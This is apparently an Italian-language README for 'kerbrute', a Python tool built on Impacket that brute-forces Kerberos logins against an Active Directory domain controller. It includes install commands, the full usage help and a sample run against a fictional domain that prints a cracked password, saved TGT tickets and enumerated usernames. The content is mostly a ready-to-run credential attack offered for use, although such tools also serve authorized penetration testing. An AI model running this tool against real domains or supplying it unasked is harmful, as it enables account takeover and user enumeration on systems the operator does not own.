tarlogicsecurity/kerbruteUno script per eseguire bruteforcing kerberos utilizzando impacket
Uno script per eseguire brute forcing di Kerberos utilizzando la libreria Impacket.
Quando viene eseguito, riceve come input un utente o una lista di utenti e una password o una lista di password. Quindi esegue un attacco di forza bruta per enumerare:
Come risultato, lo script genera un elenco di credenziali valide scoperte e i TGT generati grazie a tali credenziali valide.
Da pypi:
pip3 install kerbrute
Dal repository:
git clone https://github.com/TarlogicSecurity/kerbrute
cd kerbrute
pip install -r requirements.txt
Aiuto senza argomenti:
root@kali:~# kerbrute
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation
usage: kerbrute.py [-h] [-debug] (-user USER | -users USERS)
[-password PASSWORD | -passwords PASSWORDS] -domain DOMAIN
[-dc-ip <ip_address>] [-threads THREADS]
[-outputfile OUTPUTFILE] [-no-save-ticket]
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-user USER User to perform bruteforcing
-users USERS File with user per line
-password PASSWORD Password to perform bruteforcing
-passwords PASSWORDS File with password per line
-domain DOMAIN Domain to perform bruteforcing
-dc-ip <ip_address> IP Address of the domain controller
-threads THREADS Number of threads to perform bruteforcing. Default = 1
-outputfile OUTPUTFILE
File to save discovered user:password
-no-save-ticket Do not save retrieved TGTs with correct credentials
Examples:
./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com
Esempio di esecuzione:
root@kali:~# kerbrute -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation
[*] Stupendous => triceratops:Sh4rpH0rns
[*] Saved TGT in triceratops.ccache
[*] Valid user => velociraptor [NOT PREAUTH]
[*] Valid user => trex
[*] Saved discovered passwords in jurassic_passwords.txt